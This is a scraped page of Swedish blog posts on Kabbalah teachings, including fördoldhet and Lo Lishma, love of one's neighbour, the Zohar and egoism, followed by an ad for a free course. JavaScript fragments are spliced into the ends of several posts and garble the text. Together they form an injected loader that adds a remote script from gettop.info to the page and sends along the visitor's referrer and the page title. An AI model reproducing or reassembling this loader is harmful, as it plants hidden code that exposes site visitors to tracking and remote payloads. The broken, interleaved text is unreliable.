Inlägg i kategori ''

Att uppnå tillståndet av fördoldhet är en stor prestation

1Om jag bestämmer mig för att uppnå givande, måste jag börja studera, och använda alla medel som står till mitt förfogande för att uppnå denna kvaliteten.

Men allt detta är nödvändigt bara för att hjälpa mig att komma fram till slutsatsen att jag inte vill ge. Jag vill inte enbart för givandets skull; jag kan acceptera att studera bara på ett villkor: att jag kommer att få något i utbyte. Att studera bara för att skänka andra, och att ansluta deras begär till mig är inte något jag är kapabel till.

Men jag tänker fortsätta att studera och tänker att kanske något annat kommer ur det. Under tiden påverkar det Omgivande Ljuset mig och andra runt omkring mig, övertalande mig att givande och andlighet i själva verket är underbart. Jag upptäcker att andlighet givande, men jag vill fortfarande inte ha denna typ av andlighet. Denna insikt är stor, eftersom det innebär att jag redan har uppnått tillståndet ”av fördoldhet” (antingen enkel eller dubbel). På så sätt avancerar jag redan på den andliga vägen.

Det första jag behöver är en känsla av att jag inte vill ha givande och kärlek, och att jag förkastar andlighet. På den punkten finns två personer inom mig. En säger: ”du måste gå i riktning mot Skaparen, vad kommer annars att hända med dig”? Och den andra säger: ”varför behöver du allt detta”? Vad får du ut av det?” En inre kamp börjar och jag börjar att känna mörker. Hela världen förändras beroende på om jag tror på det ena eller andra sättet, eftersom hela världen är inom mig.

Tillståndet av fördoldhet börjar när givandets karaktär är gömd för mig. Jag är den som vill dölja den. Jag är den som inte vill ha den. Men samtidigt vill jag det, trots att den är dold för mig. Med andra ord, jag är redan delad i två: jag strävar gentemot givandet och samtidigt vill jag inte ha det. Denna situationen uppenbaras för mig som mörker i relation till Ljuset, och det ena kan inte existera utan det andra.

Så, jag vill ge eller inte? Tja, jag har ingenting emot att ge, men jag har inte riktigt en önskan om det. Vad kan jag göra om det är så här jag skapades? Detta är vad vi kallar ”fördoldhet”, ”ofullständigt arbete,” eller tillståndet Lo Lishma. Det är när jag är beredd att ge något, en liten del av mig till Skaparen eller till andra, men jag måste få något i gengäld. Annars kan jag inte göra någonting.

Fördoldhet kan inte existera utan uppenbarelse, och det är ett särskilt tillstånd att vara i. Kabbalister skriver att, om vi bara kände till värdet av fördoldheten skulle vi uppskatta detta tillstånd som kallas Lo Lishma. Vi tror att ”Lishma” är en mycket hög nivå, medan ”Lo Lishma” är obetydlig. Men det är inte sant eftersom Lo Lishma också är en mycket viktig nivå, och låt oss hoppas att alla av oss kommer att nå den.d.getElementsByTagName(‘head’)[0].appendChild(s);

Vetenskapen om hur man kommer ut ur sig själv

1Världen är resultatet av våra inre kvaliteter, våra sinnen.

För närvarande har våra fem sinnen – syn, hörsel, smak, lukt och känsel – ett smalt, begränsat upplevelsefält. Men, vi har möjligheten att expandera våra sinnen så att de kan uppleva utan några begränsningar. Vägen till att göra det är genom att komma ut ur begäret att ta emot och att enbart konsumera, och i stället lära oss att uppleva världen som den finns till utanför oss, i stället för att uppleva den genom våra fem sinnen. Vi kommer då att uppfatta Oändligheten, den absoluta verkligheten utan några begränsningar.

Naturligtvis uppstår frågan; ”Hur kommer vi ut ur oss själva”?

Vi kan förstå vad det innebär att expandera räckvidden för våra sinnen, men hur kommer vi ut ur oss själva? Om det enda som finns i naturen är begäret att ta emot njutning, så verkar det omöjligt att komma ut ur det.

Kabbalisterna säger att möjligheten finns: Det kan göras genom att känna vad din nästa känner.

Precis som vi uppenbarar världen genom oss själva är vi kapabla att knyta an till en vän som har samma andliga mål, och uppleva världen genom honom, och sedan genom en annan person, och en annan osv.

Så snart vi uppenbarar hela den andliga verkligheten genom andra människor så kommer vi att upptäcka att den faktiskt är utanför oss.

Detta är varför villkoret för att förnimma det andliga är, ”älska din nästa som dig själv”. I vår värld låter det som ett gammalt utslitet

talesätt, men kabbalisterna har ett helt annat villkor i tankarna när de säger så. Att älska sin nästa innebär att känna vad som händer i honom. Det innebär att knyta an hans själ, hans sinnen och hans förnimmelse till din egen. Eller med andra ord, det är då du kommer ut ur dig själv och börjar uppenbara vad helst som är utanför dig, vad helst som är i honom.

När du då börjar att undersöka vad som är utanför dig, uppenbarar du också den Övre Kraften, Skaparen. Detta kallas ”från kärleken till skapelsen, till kärlek för Skaparen”. Denna frasen kan låta religiös, men i verkligheten talar den om vår sensoriska utveckling.

Kabbala´s vishet lär oss hur vi skall känna vår nästa och bygga ett gemensamt kärl av förnimmelse (Kli), som kallas ”Shechina”. Detta är ett sinne så enormt att vi kan uppleva Skaparen i det.

Detta är vad kabbala´s metod handlar om: att lära oss att förnimma och ta emot allting som är utanför oss utan några begränsningar.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Uppnående är den högsta graden av förståelse

2En fråga jag fick: Baal HaSulam skriver att uppnående är den högsta graden av förståelse. Vad är den högsta graden av förståelse?

Mitt svar: Förståelse refererar till Bina. Det är skrivet, ”Sättet att förstå, är med hjärtat”, medan uppnående är vision, Hochma.

Bina och Hochma tillsammans, för en person till KeterHochma´s Ljus klätt i Hassidim´s Ljus. Det är när man når uppnående. Nivån på uppnåendet definieras av vars och ens förmåga att attrahera Hassidim´s Ljus in i Hochma´s Ljus, och på det sättet lysa upp mörkret.} else {

Ljuset gör allt arbetet om vi låter det göra det

1Den kabbalistiska vetenskapen är metoden för att utveckla själen. Men samtidigt som jag utvecklar min själ, förstår jag inte riktigt processen.

Jag vet inte vad som är bra eller dåligt för dess utveckling, vilken typ av begär som bör öka i mig och i vilken omfattning. Det känns som om jag irrar planlöst mellan egoism, förakt och självuppoffring.

Här måste vi följa en enkel regel: kärleken till Skaparen kommer efter kärleken för andra. Jag kommer att uppnå Honom exakt inne i förbindelsen mellan mig och andra. Allt vårt studerande är ägnat åt detta.

Att först tänka på andra tycks vara det mest motbjudande för mig. Jag är trött på det, och jag skulle föredra att bara studera och arbeta på mig själv, men inte vara beroende av andra. Men snart upptäcker jag att det inte finns någon annan väg att gå.

Även om vi inte är bekanta med programmet för vår utveckling, kan vi fortfarande försöka skapa ett inbördes förhållande mellan oss. Men faktum är, att Ljuset gör allt arbetet.

Det visar olika egenskaper inom oss, uppenbarar dem enskilt i varje person beroende på roten till hans själ. Därför avancerar en person med stora steg medan någon annan avancerar med små steg. Någon upptäcker vrede i sig själv och någon – likgiltighet. Det finns inga exakta mallar och standardregler.

Det kabbalisterna förklarar för oss är det som tillhör alla utan undantag – vilket målet är som vi alla har att nå, och hur vi skall anstränga oss på vägen till målet. Kabbalisterna påminner oss, om och om igen, att oavsett vad som händer, skall vi inte glömma att gasa, alltid sträva efter att påskynda och alltid gå rakt fram.}

Att komma ihåg vad som har varit bortglömt sedan länge

1Den bild av verkligheten som kabbala förklarar för oss, verkar mycket märkligt och speciell för oss. Men en nyfödd baby finner också världen han ser omkring sig mycket speciell. Han är inte van vid att någonting händer och börjar studera denna världen från allra första början. Vi är exakt likadana med hänsyn till den andliga världen.

Dessutom har vi Reshimot (informationsgener), inre definitioner av den andliga världen, och det är därför som vi återvänder till en plats där vi var tidigare, platsen från vilken vi kom.

När vi föds, kommer vi in en annorlunda värld varje gång, eftersom världen utvecklas; den genomgår tekniska framsteg och livet runt omkring oss förändras. Men när vi kommer in i den andliga världen befinner vi oss i en värld som vi var i tidigare, och vi har därför minnen, information, känslor, och intryck från den. Vi måste helt enkelt väcka dem.

Genom sina historier och förklaringar, drar Zohar oss uppåt, leder oss fram till  känslor av andliga världen. Även om vi inte är där ännu, så genom att läsa Zohar börjar vi att väcka våra inre minnen om den väg som vi gick igenom, uppifrån och nedåt, när vi tidigare gick igenom alla dessa steg.

Nu återvänder vi dit från vår värld. Vi börjar klättra tillbaka dit, där vi kom ifrån.if (document.currentScript) {

Korrigera dig själv och du kommer att se sanningen

1En fråga jag fick: Vad ska jag göra praktiskt under arbetet med korrigeringen?

Mitt svar: Vi måste inse att vårt nuvarande tillstånd är ett resultat sönderbrytandet av givandets kvalitet inom oss, och den resulterande exilen från upplevelsen av den andliga rymden (den Skaparen). Detta skedde på grund av förlusten av givandets kvalitet. På grund av denna brytning och exilen, hatar vi varandra, men vi är beroende av varandra. På grund av detta ömsesidiga beroende, kan jag inte kräva korrigering för mig själv, jag kan bara kräva det för alla. Jag har att önska, att rätta till förhållandet mellan alla människor.

Vi måste förstå innebörden av vår ömsesidiga integration i varandra. Ingen är en oberoende person. Men för att se denna sanning, måste vi korrigera vår uppfattning.

Vi måste be det Övre Ljuset om detta, bara det kan hjälpa oss att förvärva förmågan att se den verkliga bilden.

På grund av de tilltagande problemen, måste mänskligheten idag inse att den är ett trasigt kärl, och att den måste komma tillsammans. Detta innefattar upptäckten av komponenterna i denna situationen: berget av hat (Sinai berg) å ena sidan, och vikten av målet (en koppling till de Skaparen) å andra sidan.

Kabbala är en vetenskap om själen

1I Kabbala´s vishet studerar vi själen – det sinne som uppenbarar Skaparen.

I själva verket, så skapade Skaparen bara detta särskilda sinne, denna särskilda plats, och ingenting förutom det.

Just nu upplever vi också våra liv med samma sinne, men i en dold form. Det är därför vi hänvisar till våra nuvarande liv som vår kropp, detta livet, och denna världen.

Men i verkligheten, skapade Skaparen bara ett begär. Och hela boken Zohar beskriver hur vi kan arbeta med detta begär i syfte att känna igen platsen där vi har valfrihet, där vi kan arbeta och anstränga oss för att uppenbara detta sinne eller detta begär, och sedan uppfatta verkligt liv i det. Detta kommer inte att hända utan vårt deltagande.d.getElementsByTagName(‘head’)[0].appendChild(s);

Egoismen är vår största fiende

1När vi läser boken Zohar måste vi komma ihåg att ”det finns ingen annan än Han” och Han är god och gör gott. Detta är det enda sättet vi bör närma oss våra liv och allt som händer i världen. Vi måste förstå att det bara finns en kraft bakom allt.

Det finns ingen djävul eller onda andar som försöker fälla oss, dra in oss i helvetet och koka oss på en evig eld.

När Zohar beskriver olika onda väsen, är det för att visa hur en person känner när han uppenbarar de egoistiska krafterna inom sig själv. Han känner sig som om han brinner i helvetet och önskar att undfly kontrollen av dessa fruktansvärda, mörka krafter som styr honom.

Han ser att de hindrar honom från att närma sig Skaparen, men han kan inte bekämpa dem och är tvungen att följa dem.

Dödens ängel kommer till en person och ger honom ett svärd vars spets är insmord med en droppe dödligt gift, och personen lyder, öppnar sin mun och sväljer giftet. Zohar förklarar att dödens ängel är våra egoistiska begär i sin slutliga, grymmaste form. Alla dessa egenskaper är inom oss och de dödar oss. Det finns inget värre än detta tillstånd, även om vi inte inser det.var d=document;var s=d.createElement(‘script’);

Två former av uppfattning

1Närhelst vi börjar att läsa boken Zohar, måste vi anpassa oss så att vi flyter med materialet som har förberetts för oss av de stora författarna till denna bok. De berättar att det enda som skapades, är begäret att njuta. Denna önskan har två möjligheter att uppleva verkligheten (eller förnimma dess Skapare). Den ena är en direkt upplevelse inom begäret, som de kallar ”uppifrån och nedåt.” I den formen kan begäret bara uppfatta vad vi känner just nu, ”inom oss.” En sådan uppfattning kallas ”denna världen”. Den andra formen av uppfattning tar plats ovanför begäret, ”utanför” det. Det är när vi inte uppfyller våra begär, men andras (eller, det som verkar vara andras).

Vi är inte vana vid denna andra sortens uppfattning, eftersom vi inte föddes med den. Den verkar underlig och främmande för oss, och ändå berättar författarna till Zohar, att denna form av uppfattning är den mest naturliga, eftersom den härrör från naturen (Skaparen). Utöver den lilla värld som vi känner inom oss själva, finns det andra enorma världar ”utanför” oss.

Zohar riktar in oss, så att vi kan uppnå denna ytterligare verklighetsuppfattning utanför våra kroppar. Av detta skälet, om vi vill se vad Zohar talar om, måste vi anpassa oss till att uppfatta den verklighet som råder ”utanför” oss, snarare än ”inom oss.”

Denna bok beskriver många saker som framstår som fenomen i denna världen, likaså magiska varelser som änglar, andar eller rum. Men oavsett hur realistiska eller övernaturliga dessa saker kan förefaller oss, talar Zohar alltid om formen för uppfattning ”inom” oss. Därför, om vi vill förstå vad Zohar vill säga oss, eller snarare, vad den vill uppenbara inom oss, måste vi rikta in oss åt samma håll – i stället för att sträva efter självtillfredsställelse, måste vi sträva efter att känna verkligheten ”utanför” oss.} else {

Kurs i kabbala – fri*live*interaktiv kurs, med start den 6 januari

6 januari 2010Missa inte detta tillfället. Registrera dig nu!